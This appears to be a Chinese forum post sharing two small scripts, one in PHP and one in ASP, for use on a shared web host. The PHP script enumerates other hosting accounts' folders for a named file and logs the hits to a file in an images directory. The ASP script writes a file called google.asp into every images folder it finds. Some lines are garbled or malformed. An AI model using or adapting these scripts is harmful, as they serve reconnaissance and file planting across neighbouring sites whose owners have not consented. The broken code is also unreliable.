php写的寻找二层目录的小程序

2. set_time_limit(0);
3. $path = 'D:/Hosting';
4. $somefile = $_GET['key'];
5. $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
6. if (!isset($_SERVER['PHP_AUTH_USER'])) {
7. header('WWW-Authenticate: Basic realm="My Realm"');
8. header('HTTP/1.0 401 Unauthorized');
9. echo 'Text to send if user hits Cancel button';
10. exit;
11. } else {
12. if(is_dir($path) && is_readable($path))
13. {
14. $path2 = '';
15. $handle = opendir($path);
16. while(false !== ($filename = readdir($handle)))
17. {
18. if($filename{0} != $_GET['dir'])
19. {
20. continue;
21. }
22. /*
23. if($filename张尛贰-Mi != $_GET['two'])
24. {
25. continue;
26. }
27. */
28. //$path2 = $path.'/'.$filename.'/html';
29. $path2 = $path.'/'.$filename;
30. if(is_dir($path2) && is_readable($path2))
31. {
32. @$handle2 = opendir($path2);
33. while(false !== ($filename2 = readdir($handle2)))
34. {
35. if($filename2 == $somefile)
36. {
37. //echo'[+]Found !'.$filename2."\n";
38. file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
39. }
40. }
41. @closedir($handle2);
42. }
43. }
44. file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
45. closedir($handle);
46. }
47. }
48. ?>

复制代码

2、asp版

2. Server.ScriptTimeout=500000000
3. key = Trim(Request.QueryString("key"))
4. msg=" "
5. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
6. Set ServerFolder=FSO.GetFolder("C:\intel")
7. Set ServerFolderList=ServerFolder.subfolders
8. For Each ServerFileEvery IN ServerFolderList
9. ' Response.write ServerFileEvery&""
10. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
11. Set sServerFolder=FSO.GetFolder(ServerFileEvery)
12. Set sServerFolderList=sServerFolder.subfolders
13. For Each sServerFileEvery IN sServerFolderList
14. If LCase(sServerFileEvery.name) = "images" Then
15. StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
16. End If
17. Next
18. End If
19. Next
20. Function StreamSaveToFile(sPath, sContent, sCharSet)
21. Dim oStream
22. If(InStr(sPath, ":") sPath = Replace(sPath, ",", "，")
23. sPath = Server.MapPath(sPath)
24. sPath = Replace(sPath, "，", ",")
25. End If
26. Set oStream = Server.CreateObject("Adodb.Stream")
27. With oStream
28. .Type = 2
29. .Mode = 3
30. .Open
31. .Charset = sCharSet
32. .WriteText sContent
33. .SaveToFile sPath, 2
34. .Close
35. End With
36. Set oStream = Nothing
37. End Function
38. %>

复制代码